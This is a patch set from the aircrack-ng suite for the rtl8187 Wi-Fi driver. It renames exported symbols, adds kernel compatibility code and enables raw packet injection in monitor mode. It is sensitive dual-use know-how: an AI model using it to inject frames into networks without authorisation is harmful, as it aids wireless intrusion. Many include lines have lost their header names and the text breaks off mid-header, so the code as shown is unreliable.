-Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-05-26 10:38:07.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-05-26 10:38:07.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -397,7 +402,7 @@ /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -432,7 +437,7 @@ /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); @@ -446,7 +451,7 @@ /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); @@ -458,13 +463,14 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -481,14 +487,14 @@ dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_wx.c rtl8187_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_orig/ieee80211/ieee80211_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-05-26 10:38:07.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -281,7 +282,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +292,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +315,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +327,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -418,7 +419,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -470,6 +471,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-05-26 10:39:10.000000000 +0200 @@ -0,0 +1,36 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. aircrack-ng-1.1/patches/old/rtl8187_1025v2.patch0000644000000000000000000053272510761053203017543 0ustar rootrootdiff -Naur r8187_orig/ieee80211/ieee80211_crypt.c r8187_rawtx/ieee80211/ieee80211_crypt.c --- r8187_orig/ieee80211/ieee80211_crypt.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt.c 2007-05-16 22:00:07.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); diff -Naur r8187_orig/ieee80211/ieee80211_crypt_ccmp.c r8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- r8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-05-16 22:00:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); diff -Naur r8187_orig/ieee80211/ieee80211_crypt_tkip.c r8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- r8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-05-16 22:00:07.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,11 +20,21 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include MODULE_AUTHOR("Jouni Malinen"); @@ -431,7 +440,11 @@ static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret = 0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,12 +458,20 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif - return 0; + return ret; } static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) diff -Naur 